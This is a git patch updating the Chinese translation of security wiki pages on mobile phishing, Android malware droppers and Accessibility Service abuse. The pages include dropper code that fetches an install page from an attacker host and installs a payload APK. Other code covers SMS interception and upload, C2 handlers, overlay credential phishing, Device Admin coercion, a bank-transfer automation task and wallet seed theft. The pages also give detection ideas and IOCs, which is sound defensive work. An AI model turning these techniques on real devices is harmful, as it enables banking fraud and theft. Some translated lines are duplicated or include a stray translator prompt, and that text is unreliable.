From 81669226dfbaad10083626a9846d7c31dc9bc135 Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Mon, 29 Sep 2025 11:08:42 +0000
Subject: [PATCH] Translated
 ['src/mobile-pentesting/android-app-pentesting/accessibility-

---
 src/SUMMARY.md                                |   5 +-
 .../mobile-phishing-malicious-apps.md         | 305 +++++++++++++-----
 .../accessibility-services-abuse.md           | 173 +++++++---
 3 files changed, 362 insertions(+), 121 deletions(-)

diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index d4104d430..abe382dcf 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -768,7 +768,7 @@
     - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
   - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
   - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
-- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
+- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
   - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
   - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
   - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@@ -837,8 +837,9 @@
   - [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
   - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
 - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
+- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
 - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
-- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
+- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
 
 # 🤖 AI
 - [AI Security](AI/README.md)
diff --git a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
index fb36609eb..63590248d 100644
--- a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
+++ b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
@@ -1,67 +1,67 @@
-# 移动钓鱼与恶意应用分发（Android 和 iOS）
+# 移动钓鱼与恶意应用分发 (Android & iOS)
 
 {{#include ../../banners/hacktricks-training.md}}
 
 > [!INFO]
-> 本页面涵盖了威胁行为者通过钓鱼（SEO、社交工程、假商店、约会应用等）分发**恶意 Android APK**和**iOS 移动配置文件**的技术。
-> 材料改编自 Zimperium zLabs（2025）曝光的 SarangTrap 活动和其他公开研究。
+> 本页涵盖威胁行为者通过钓鱼（SEO、社交工程、假商店、约会应用等）分发**恶意 Android APK**和**iOS mobile-configuration profiles**的技术。
+> 资料改编自 Zimperium zLabs 暴露的 SarangTrap 活动 (2025) 及其他公开研究。
 
 ## 攻击流程
 
-1. **SEO/钓鱼基础设施**
-* 注册数十个相似域名（约会、云分享、汽车服务等）。
-– 在 `<title>` 元素中使用本地语言关键词和表情符号以在 Google 中排名。
-– 在同一着陆页上托管*Android*（`.apk`）和*iOS* 安装说明。
+1. **SEO/Phishing 基础设施**
+* 注册大量相似域名（约会、云分享、汽车服务……）。
+– 在 `<title>` 元素中使用本地语言关键词和表情符号以提升 Google 排名。
+– 在同一落地页上同时托管 Android（`.apk`）和 iOS 安装说明。
 2. **第一阶段下载**
-* Android：直接链接到*未签名*或“第三方商店”APK。
-* iOS：`itms-services://`或普通 HTTPS 链接到恶意**mobileconfig**配置文件（见下文）。
-3. **安装后的社交工程**
-* 应用首次运行时要求输入**邀请/验证代码**（独占访问幻觉）。
-* 代码通过**HTTP POST**发送到指挥与控制（C2）。
-* C2 回复 `{"success":true}` ➜ 恶意软件继续。
-* 动态分析沙箱/AV未提交有效代码时未见**恶意行为**（规避）。
-4. **运行时权限滥用**（Android）
-* 仅在收到正面 C2 响应后请求危险权限：
+* Android：指向一个*未签名*或“第三方商店”APK 的直接链接。
+* iOS：使用 `itms-services://` 或普通 HTTPS 链接指向恶意 **mobileconfig** 配置文件（见下文）。
+3. **安装后社交工程**
+* 第一次运行时，应用会要求提供一个**邀请 / 验证码**（制造独家访问幻觉）。
+* 该代码通过 **POST over HTTP** 发送至 Command-and-Control (C2)。
+* C2 回复 `{"success":true}` ➜ 恶意程序继续执行。
+* 在从未提交有效代码的 Sandbox / AV 动态分析环境中不会看到恶意行为（规避）。
+4. **运行时权限滥用（Android）**
+* 危险权限仅在 C2 响应为正面后才请求：
 ```xml
 <uses-permission android:name="android.permission.READ_CONTACTS"/>
 <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
 <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
-<!-- 较旧版本也请求 SMS 权限 -->
+<!-- Older builds also asked for SMS permissions -->
 ```
-* 最近的变种**从 `AndroidManifest.xml` 中移除 SMS 的 `<uses-permission>`**，但保留通过反射读取 SMS 的 Java/Kotlin 代码路径 ⇒ 降低静态评分，同时在通过 `AppOps` 滥用或旧目标授予权限的设备上仍然有效。
-5. **外观 UI 和后台收集**
-* 应用显示无害视图（SMS 查看器、图库选择器）在本地实现。
-* 同时，它提取：
+* 最近的变种**从 `AndroidManifest.xml` 中移除了 SMS 的 `<uses-permission>`**，但保留了通过反射读取 SMS 的 Java/Kotlin 代码路径 ⇒ 在静态检测中得分更低，同时在通过 `AppOps` 滥用或旧目标上仍能工作。
+5. **伪装界面与后台收集**
+* 应用显示本地实现的无害视图（SMS 查看器、图库选择器）。
+* 与此同时它会外泄：
 - IMEI / IMSI，电话号码
-- 完整的 `ContactsContract` 转储（JSON 数组）
-- 从 `/sdcard/DCIM` 压缩的 JPEG/PNG，使用 [Luban](https://github.com/Curzibn/Luban) 减小大小
-- 可选 SMS 内容（`content://sms`）
-有效载荷通过 `HTTP POST /upload.php` **批量压缩**并发送。
-6. **iOS 交付技术**
-* 单个**移动配置文件**可以请求 `PayloadType=com.apple.sharedlicenses`、`com.apple.managedConfiguration` 等，以将设备注册到“MDM”类监督中。
-* 社交工程指令：
-1. 打开设置 ➜ *配置文件已下载*。
-2. 点击 *安装* 三次（钓鱼页面上的截图）。
-3. 信任未签名的配置文件 ➜ 攻击者获得*联系人*和*照片*权限，无需 App Store 审核。
+- 完整的 `ContactsContract` 导出（JSON 数组）
+- 来自 `/sdcard/DCIM` 的 JPEG/PNG，使用 [Luban](https://github.com/Curzibn/Luban) 压缩以减小体积
+- 可选的 SMS 内容（`content://sms`）
+负载以批量压缩（batch-zipped）后通过 `HTTP POST /upload.php` 发送。
+6. **iOS 投放技术**
+* 单个 **mobile-configuration profile** 可以请求 `PayloadType=com.apple.sharedlicenses`、`com.apple.managedConfiguration` 等，从而将设备注册到类似 “MDM” 的监督中。
+* 社交工程安装说明：
+1. 打开 Settings ➜ *Profile downloaded*。
+2. 点击 *Install* 三次（钓鱼页上的截图）。
+3. 信任未签名的配置文件 ➜ 攻击者在无需 App Store 审核的情况下获得 *Contacts* 与 *Photo* 权限。
 7. **网络层**
-* 普通 HTTP，通常在端口 80 上，HOST 头如 `api.<phishingdomain>.com`。
-* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)`（无 TLS → 易于发现）。
+* 明文 HTTP，通常在端口 80，Host 头像 `api.<phishingdomain>.com`。
+* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)`（无 TLS → 容易被发现）。
 
 ## 防御测试 / 红队提示
 
-* **动态分析规避** – 在恶意软件评估期间，使用 Frida/Objection 自动化邀请代码阶段以达到恶意分支。
-* **清单与运行时差异** – 比较 `aapt dump permissions` 与运行时 `PackageManager#getRequestedPermissions()`；缺少危险权限是一个红旗。
-* **网络金丝雀** – 配置 `iptables -p tcp --dport 80 -j NFQUEUE` 以检测代码输入后不稳定的 POST 峰值。
-* **mobileconfig 检查** – 在 macOS 上使用 `security cms -D -i profile.mobileconfig` 列出 `PayloadContent` 并发现过多的权限。
+* **动态分析绕过** – 在恶意软件评估时，使用 Frida/Objection 自动化邀请代码阶段以进入恶意分支。
+* **清单与运行时差异** – 比较 `aapt dump permissions` 与运行时的 `PackageManager#getRequestedPermissions()`；缺失的危险权限是红旗。
+* **网络诱饵** – 配置 `iptables -p tcp --dport 80 -j NFQUEUE` 来检测代码输入后异常的 POST 突发流量。
+* **mobileconfig 检查** – 在 macOS 使用 `security cms -D -i profile.mobileconfig` 列出 `PayloadContent` 并发现过多的权限声明。
 
 ## 蓝队检测思路
 
-* **证书透明度 / DNS 分析** 以捕捉突发的关键词丰富域名。
-* **User-Agent 和路径正则表达式**： `(?i)POST\s+/(check|upload)\.php` 来自 Google Play 之外的 Dalvik 客户端。
-* **邀请代码遥测** – 在 APK 安装后不久的 6–8 位数字代码的 POST 可能表明正在准备。
-* **MobileConfig 签名** – 通过 MDM 策略阻止未签名的配置文件。
+* **Certificate Transparency / DNS Analytics** 用于捕捉关键词丰富域名的突然激增。
+* **User-Agent 与路径正则**：检测来自非 Google Play 的 Dalvik 客户端的 `(?i)POST\s+/(check|upload)\.php`。
+* **邀请码遥测** – 在 APK 安装后不久 POST 6–8 位数字验证码可能表明处于预备阶段。
+* **MobileConfig 签名校验** – 通过 MDM 策略阻止未签名的配置文件。
 
-## 有用的 Frida 代码片段：自动绕过邀请代码
+## Useful Frida Snippet: Auto-Bypass Invitation Code
 ```python
 # frida -U -f com.badapp.android -l bypass.js --no-pause
 # Hook HttpURLConnection write to always return success
@@ -80,7 +80,7 @@ return conn;
 };
 });
 ```
-## 指标 (通用)
+## 指标（通用）
 ```
 /req/checkCode.php        # invite code validation
 /upload.php               # batched ZIP exfiltration
@@ -88,28 +88,28 @@ LubanCompress 1.1.8       # "Luban" string inside classes.dex
 ```
 ---
 
-## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
+## Android WebView 支付钓鱼 (UPI) – Dropper + FCM C2 Pattern
 
-此模式已在利用政府福利主题的活动中观察到，目的是窃取印度UPI凭证和一次性密码（OTPs）。操作者链式使用信誉良好的平台以实现交付和韧性。
+This pattern has been observed in campaigns abusing government-benefit themes to steal Indian UPI credentials and OTPs. Operators chain reputable platforms for delivery and resilience.
 
-### 通过受信平台的交付链
-- YouTube视频诱饵 → 描述中包含一个短链接
-- 短链接 → GitHub Pages钓鱼网站模仿合法门户
-- 同一GitHub仓库托管一个带有假“Google Play”徽章的APK，直接链接到文件
-- 动态钓鱼页面托管在Replit上；远程命令通道使用Firebase Cloud Messaging (FCM)
+### 跨可信平台的投放链
+- YouTube 视频诱饵 → 描述包含短链接
+- 短链接 → GitHub Pages 钓鱼站点，模仿真实门户
+- 同一 GitHub 仓库托管了一个 APK，并带有伪造的“Google Play”徽章，直接链接到该文件
+- 动态钓鱼页面托管在 Replit；远程命令通道使用 Firebase Cloud Messaging (FCM)
 
-### 带有嵌入有效载荷和离线安装的投放器
-- 第一个APK是一个安装程序（投放器），它在`assets/app.apk`中传送真实恶意软件，并提示用户禁用Wi‑Fi/移动数据以减轻云检测。
-- 嵌入的有效载荷以无害标签（例如，“安全更新”）安装。安装后，安装程序和有效载荷作为独立应用程序存在。
+### Dropper 带嵌入载荷和离线安装
+- 第一个 APK 是一个安装程序 (dropper)，它将真实恶件打包在 `assets/app.apk`，并提示用户禁用 Wi‑Fi/mobile data 以削弱云端检测。
+- 嵌入的载荷以无害标签安装（例如，“Secure Update”）。安装后，安装程序和载荷会作为独立的应用同时存在。
 
-静态分类提示（grep嵌入有效载荷）：
+静态分类提示（grep 用于查找嵌入的载荷）：
 ```bash
 unzip -l sample.apk | grep -i "assets/app.apk"
 # Or:
 zipgrep -i "classes|.apk" sample.apk | head
 ```
-### 动态端点发现通过短链接
-- 恶意软件从短链接获取一个纯文本的、以逗号分隔的活动端点列表；简单的字符串转换生成最终的钓鱼页面路径。
+### 通过短链接进行动态端点发现
+- Malware 从短链接获取纯文本、逗号分隔的活动端点列表；简单的字符串变换生成最终的 phishing 页面路径。
 
 示例（已清理）：
 ```
@@ -127,8 +127,8 @@ String upiPage = parts[0].replace("gate.html", "gate.htm");
 String smsPost = parts[1];
 String credsPost = upiPage.replace("gate.htm", "addup.php");
 ```
-### 基于WebView的UPI凭证收集
-- “支付₹1 / UPI‑Lite”步骤从动态端点加载攻击者的HTML表单到WebView中，并捕获敏感字段（电话、银行、UPI PIN），这些字段会被`POST`到`addup.php`。
+### 基于 WebView 的 UPI 凭证窃取
+- 步骤 “Make payment of ₹1 / UPI‑Lite” 在 WebView 内从动态端点加载攻击者的 HTML 表单，并捕获敏感字段（手机号、银行、UPI PIN），这些字段通过 `POST` 提交到 `addup.php`。
 
 最小加载器：
 ```java
@@ -136,16 +136,16 @@ WebView wv = findViewById(R.id.web);
 wv.getSettings().setJavaScriptEnabled(true);
 wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
 ```
-### 自我传播和短信/一次性密码拦截
-- 在首次运行时请求激进的权限：
+### Self-propagation and SMS/OTP interception
+- 在首次运行时会请求大量权限：
 ```xml
 <uses-permission android:name="android.permission.READ_CONTACTS"/>
 <uses-permission android:name="android.permission.SEND_SMS"/>
 <uses-permission android:name="android.permission.READ_SMS"/>
 <uses-permission android:name="android.permission.CALL_PHONE"/>
 ```
-- 联系人被循环用于从受害者的设备上批量发送钓鱼短信。
-- 通过广播接收器拦截传入的短信，并将其与元数据（发送者、内容、SIM卡插槽、每个设备的随机ID）一起上传到`/addsm.php`。
+- 联系人被循环用于从受害者设备批量发送 smishing 短信。
+- 收到的短信会被广播接收器拦截，并连同元数据（发送者、消息内容、SIM 卡槽、每台设备的随机 ID）上传到 `/addsm.php`。
 
 接收器草图：
 ```java
@@ -162,9 +162,9 @@ postForm(urlAddSms, new FormBody.Builder()
 }
 ```
 ### Firebase Cloud Messaging (FCM) 作为弹性 C2
-- 负载注册到 FCM；推送消息携带一个 `_type` 字段，用作触发动作的开关（例如，更新钓鱼文本模板，切换行为）。
+- payload 会向 FCM 注册；推送消息携带 `_type` 字段，用作触发操作的开关（例如，更新 phishing text templates、切换行为）。
 
-示例 FCM 负载：
+示例 FCM payload:
 ```json
 {
 "to": "<device_fcm_token>",
@@ -174,7 +174,7 @@ postForm(urlAddSms, new FormBody.Builder()
 }
 }
 ```
-处理程序草图：
+Handler 草图:
 ```java
 @Override
 public void onMessageReceived(RemoteMessage msg){
@@ -187,26 +187,179 @@ case "smish": sendSmishToContacts(); break;
 }
 ```
 ### Hunting patterns and IOCs
-- APK包含次要有效载荷在`assets/app.apk`
-- WebView从`gate.htm`加载支付并外泄到`/addup.php`
-- 短信外泄到`/addsm.php`
-- 短链接驱动的配置获取（例如，`rebrand.ly/*`）返回CSV端点
-- 应用标记为通用“更新/安全更新”
-- FCM `data`消息在不受信任的应用中带有`_type`区分符
+- APK 包含位于 `assets/app.apk` 的二次负载
+- WebView 从 `gate.htm` 加载支付并将数据外传到 `/addup.php`
+- SMS 外传到 `/addsm.php`
+- 由 shortlink 驱动的配置获取（例如 `rebrand.ly/*`），返回 CSV endpoints
+- 应用被标记为通用 “Update/Secure Update”
+- 在不受信任的应用中，FCM `data` 消息包含 `_type` 判别字段
 
 ### Detection & defence ideas
-- 标记指示用户在安装期间禁用网络的应用，然后从`assets/`侧载第二个APK。
-- 对权限元组发出警报：`READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + 基于WebView的支付流程。
-- 对非企业主机的`POST /addup.php|/addsm.php`进行出口监控；阻止已知基础设施。
-- 移动EDR规则：不受信任的应用注册FCM并在`_type`字段上分支。
+- 标记那些指示用户在安装期间禁用网络然后从 `assets/` 侧载第二个 APK 的应用。
+- 对权限元组触发告警：`READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + 基于 WebView 的支付流程。
+- 对非企业主机上的 `POST /addup.php|/addsm.php` 进行出口流量监控；阻断已知基础设施。
+- Mobile EDR 规则：不受信任的应用注册 FCM 并在 `_type` 字段上分支的行为。
 
 ---
 
-## References
+## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – RatOn case study
+
+The RatOn banker/RAT campaign (ThreatFabric) 是一个具体例子，展示了现代 mobile phishing 操作如何混合 WebView droppers、基于 Accessibility 的 UI 自动化、overlays/ransom、Device Admin 强制、Automated Transfer System (ATS) 自动化、crypto wallet 接管，甚至 NFC-relay 编排。本节抽象出可复用的技术。
+
+### Stage-1: WebView → native install bridge (dropper)
+攻击者展示一个指向攻击者页面的 WebView，并注入一个暴露原生安装器的 JavaScript 接口。用户点击 HTML 按钮会调用原生代码，安装打包在 dropper assets 中的二阶段 APK，然后直接启动它。
+
+Minimal pattern:
+```java
+public class DropperActivity extends Activity {
+@Override protected void onCreate(Bundle b){
+super.onCreate(b);
+WebView wv = new WebView(this);
+wv.getSettings().setJavaScriptEnabled(true);
+wv.addJavascriptInterface(new Object(){
+@android.webkit.JavascriptInterface
+public void installApk(){
+try {
+PackageInstaller pi = getPackageManager().getPackageInstaller();
+PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
+int id = pi.createSession(p);
+try (PackageInstaller.Session s = pi.openSession(id);
+InputStream in = getAssets().open("payload.apk");
+OutputStream out = s.openWrite("base.apk", 0, -1)){
+byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
+}
+PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
+pi.commit(id, status.getIntentSender());
+} catch (Exception e) { /* log */ }
+}
+}, "bridge");
+setContentView(wv);
+wv.loadUrl("https://attacker.site/install.html");
+}
+}
+```
+请提供要翻译的 HTML 或文件内容（粘贴在此），我会将其中的英文按要求翻译为中文。
+```html
+<button onclick="bridge.installApk()">Install</button>
+```
+安装后，dropper 通过显式的 package/activity 启动 payload：
+```java
+Intent i = new Intent();
+i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
+startActivity(i);
+```
+检测思路：不受信任的应用调用 `addJavascriptInterface()` 并向 WebView 暴露类似安装器的接口；APK 在 `assets/` 下携带嵌入的二级负载并调用 Package Installer Session API。
+
+### 同意流程：Accessibility + Device Admin + 后续运行时提示
+Stage-2 打开一个 WebView，承载一个“Access”页面。其按钮调用一个导出的方法，将受害者导向 Accessibility 设置并请求启用该恶意服务。一旦启用，malware 利用 Accessibility 在后续运行时权限对话框（contacts、overlay、manage system settings 等）中自动点击并继续请求 Device Admin。
+
+- Accessibility 通过在节点树中查找类似 “Allow”/“OK” 的按钮并派发点击，编程式地帮助接受后续提示。
+- Overlay 权限 检查/请求：
+```java
+if (!Settings.canDrawOverlays(ctx)) {
+Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
+Uri.parse("package:" + ctx.getPackageName()));
+ctx.startActivity(i);
+}
+```
+另见：
+
+{{#ref}}
+../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
+{{#endref}}
+
+### Overlay phishing/ransom via WebView
+操作员可以下发命令来：
+- 从一个 URL 渲染全屏覆盖层，或
+- 传递内联 HTML 并将其加载到 WebView 覆盖层中。
+
+可能用途：胁迫（PIN 输入）、打开钱包以捕获 PINs、ransom messaging。若缺少 overlay permission，请保留一个命令以确保持有该权限。
+
+### Remote control model – text pseudo-screen + screen-cast
+- Low-bandwidth：定期导出 Accessibility 节点树，序列化可见文本/角色/边界并作为伪屏幕发送到 C2（命令示例：`txt_screen` 一次性，`screen_live` 持续）。
+- High-fidelity：请求 MediaProjection 并按需开始 screen-casting/录制（命令示例：`display` / `record`）。
+
+### ATS playbook (bank app automation)
+给定一个 JSON 任务，打开银行应用，通过 Accessibility 驱动 UI，混合使用文本查询和坐标点击，并在提示时输入受害者的支付 PIN。
+
+示例任务：
+```json
+{
+"cmd": "transfer",
+"receiver_address": "ACME s.r.o.",
+"account": "123456789/0100",
+"amount": "24500.00",
+"name": "ACME"
+}
+```
+Example texts seen in one target flow (CZ → EN):
+- "Nová platba" → "新付款"
+- "Zadat platbu" → "输入付款"
+- "Nový příjemce" → "新收款人"
+- "Domácí číslo účtu" → "国内账户号码"
+- "Další" → "下一步"
+- "Odeslat" → "发送"
+- "Ano, pokračovat" → "是，继续"
+- "Zaplatit" → "支付"
+- "Hotovo" → "完成"
+
+Operators can also check/raise transfer limits via commands like `check_limit` and `limit` that navigate the limits UI similarly.
+操作员还可以通过类似 `check_limit` 和 `limit` 的命令检查/提高转账限额，这些命令以类似方式导航限额 UI。
+
+### Crypto wallet seed extraction
+Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: unlock (stolen PIN or provided password), navigate to Security/Recovery, reveal/show seed phrase, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) to stabilise navigation across languages.
+目标包括 MetaMask、Trust Wallet、Blockchain.com、Phantom。流程：解锁（被窃取的 PIN 或提供的密码），导航到 Security/Recovery，显示助记词，keylog/exfiltrate 助记词。实现支持不同语言的选择器（EN/RU/CZ/SK），以在多语言间稳定导航。
+
+### Device Admin coercion
+Device Admin APIs are used to increase PIN-capture opportunities and frustrate the victim:
+Device Admin APIs 被用来增加捕获 PIN 的机会并使受害者感到沮丧：
+- Immediate lock: 
+- 立即锁定：
+```java
+dpm.lockNow();
+```
+- 使当前凭证过期以强制更改（辅助功能会捕获新的 PIN/密码）：
+```java
+dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
+```
+- 通过禁用 keyguard 的生物识别功能强制使用非生物识别解锁：
+```java
+dpm.setKeyguardDisabledFeatures(admin,
+DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
+DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
+```
+注意：许多 DevicePolicyManager 控制在近期的 Android 上需要 Device Owner/Profile Owner；某些 OEM 构建可能比较宽松。始终在目标 OS/OEM 上进行验证。
+
+### NFC relay orchestration (NFSkate)
+Stage-3 可以安装并启动外部 NFC-relay 模块（例如 NFSkate），甚至向其传递一个 HTML 模板以在中继过程中引导受害者。这使得无接触的 card-present 现金提取与在线 ATS 并行成为可能。
+
+Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
+
+### Operator command set (sample)
+- UI/状态: `txt_screen`, `screen_live`, `display`, `record`
+- 社交: `send_push`, `Facebook`, `WhatsApp`
+- 覆盖层: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
+- 钱包: `metamask`, `trust`, `blockchain`, `phantom`
+- ATS: `transfer`, `check_limit`, `limit`
+- 设备: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
+- 通信/侦察: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
+- NFC: `nfs`, `nfs_inject`
+
+### Detection & defence ideas (RatOn-style)
+- 搜索在 WebViews 中使用 `addJavascriptInterface()` 并暴露 installer/permission 方法的情况；以及那些以 “/access” 结尾并触发 Accessibility 提示的页面。
+- 对被授予服务访问不久后生成高频率 Accessibility 手势/点击的应用发出告警；对发送到 C2 的类似 Accessibility 节点转储的遥测数据发出告警。
+- 监控不受信任应用中的 Device Admin 策略更改：`lockNow`、密码过期、keyguard 功能切换等。
+- 对来自非企业应用的 MediaProjection 提示，随后伴随周期性帧上传的行为发出告警。
+- 检测被某个应用触发而安装/启动外部 NFC-relay 应用的情况。
+- 对银行业务：强制执行带外确认、绑定生物识别、以及对抗设备上自动化的交易限额机制。
+
+## 参考资料
 
 - [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
 - [Luban – Android image compression library](https://github.com/Curzibn/Luban)
 - [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
 - [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
+- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
+- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md b/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
index f8fbe2999..4f782f156 100644
--- a/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
+++ b/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
@@ -1,20 +1,20 @@
-# Android Accessibility Service Abuse
+# Android 无障碍服务滥用
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## 概述
 
-`AccessibilityService` 的创建是为了帮助残疾用户与 Android 设备进行交互。不幸的是，同样的 **强大自动化 API**（全局导航、文本输入、手势分发、覆盖窗口……）可以被恶意软件武器化，以在 _无需 root 权限_ 的情况下获得 **完全远程控制** 手机的能力。
+`AccessibilityService` 的初衷是帮助有障碍的用户与 Android 设备交互。不幸的是，同样的 **powerful automation APIs**（全局导航、文本输入、手势分发、覆盖窗口…）可以被恶意软件武器化，从而在 _无需 root 权限_ 的情况下获得对手机的 **完全远程控制**。
 
-现代 Android 银行木马和远程访问木马（RAT）如 **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** 等等遵循相同的步骤：
+现代 Android 银行木马和 Remote-Access-Trojans (RATs)，例如 **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** 等，通常遵循相同的套路：
 
-1. 通过社交工程让受害者启用一个恶意的辅助功能服务（*BIND_ACCESSIBILITY_SERVICE* 权限被视为“高风险”，并需要用户的明确操作）。
+1. 社会工程诱导受害者启用一个恶意的无障碍服务（*BIND_ACCESSIBILITY_SERVICE* permission 被视为“高风险”，需要明确的用户操作）。
 2. 利用该服务来
-* 捕获屏幕上出现的每个 UI 事件和文本，
-* 注入合成手势（`dispatchGesture`）和全局操作（`performGlobalAction`）以自动化操作员所需的任何任务，
-* 在合法应用程序上方绘制全屏覆盖，使用 **TYPE_ACCESSIBILITY_OVERLAY** 窗口类型（没有 `SYSTEM_ALERT_WINDOW` 提示！），
-* 代表受害者点击系统对话框，静默授予额外的运行时权限。
-3. 在用户查看完全正常的屏幕时，实时提取数据或执行 **On-Device-Fraud (ODF)**。 
+* 捕获屏幕上出现的每一个 UI 事件和文本，
+* 注入合成手势（`dispatchGesture`）和全局操作（`performGlobalAction`）以自动化操作者想要的任何任务，
+* 使用 **TYPE_ACCESSIBILITY_OVERLAY** 窗口类型在合法应用之上绘制全屏覆盖（无需 `SYSTEM_ALERT_WINDOW` 提示！），
+* 代表受害者点击系统对话框，从而静默授予额外的运行时权限。
+3. 在用户看到看似正常的屏幕时，实时外传数据或执行 **On-Device-Fraud (ODF)** 。
 
 ---
 
@@ -34,7 +34,7 @@ android:exported="false">
 android:resource="@xml/evil_accessibility_config"/>
 </service>
 ```
-伴随的 XML 定义了假对话框的外观：
+配套的 XML 定义了伪对话框的外观：
 ```xml
 <?xml version="1.0" encoding="utf-8"?>
 <accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
@@ -47,7 +47,7 @@ android:canRetrieveWindowContent="true"/>
 ```
 ---
 
-## 远程 UI 自动化原语
+## 远程 UI 自动化 原语
 ```java
 public class EvilService extends AccessibilityService {
 @Override
@@ -68,16 +68,16 @@ dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, nul
 }
 }
 ```
-仅凭这两个API，攻击者可以：
-* 解锁屏幕，打开银行应用，浏览其UI树并提交转账表单。
-* 接受每个弹出的权限对话框。
-* 通过Play Store意图安装/更新额外的APK。
+仅凭这两个 APIs，攻击者可以：
+* 解锁屏幕，打开银行应用，遍历其 UI 树并提交转账表单。
+* 接受弹出的所有权限对话框。
+* 通过 Play Store intent 安装/更新额外的 APK。
 
 ---
 
 ## 滥用模式
 
-### 1. 悬浮钓鱼（凭证收集）
+### 1. Overlay Phishing (Credential Harvesting)
 一个透明或不透明的 `WebView` 被添加到窗口管理器：
 ```java
 WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
@@ -87,59 +87,146 @@ FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real
 PixelFormat.TRANSLUCENT);
 wm.addView(phishingView, lp);
 ```
-受害者在假表单中输入凭据，而后台应用接收相同的手势——从未显示可疑的“在其他应用上绘制”提示。
+受害者在假表单中输入凭证时，后台应用接收相同的手势——不会显示可疑的“draw over other apps”提示。
 
-> 详细示例：*Accessibility Overlay Phishing*部分在Tapjacking页面内。
+> 详细示例：*Accessibility Overlay Phishing* 部分，见 Tapjacking 页面。
 
-### 2. 设备内欺诈自动化
-恶意软件家族如**PlayPraetor**维护一个持久的WebSocket通道，操作员可以发出高级命令（`init`，`update`，`alert_arr`，`report_list`，……）。该服务将这些命令转换为上述低级手势，实现实时未经授权的交易，轻松绕过与该设备相关的多因素身份验证。
+### 2. On-Device Fraud automation
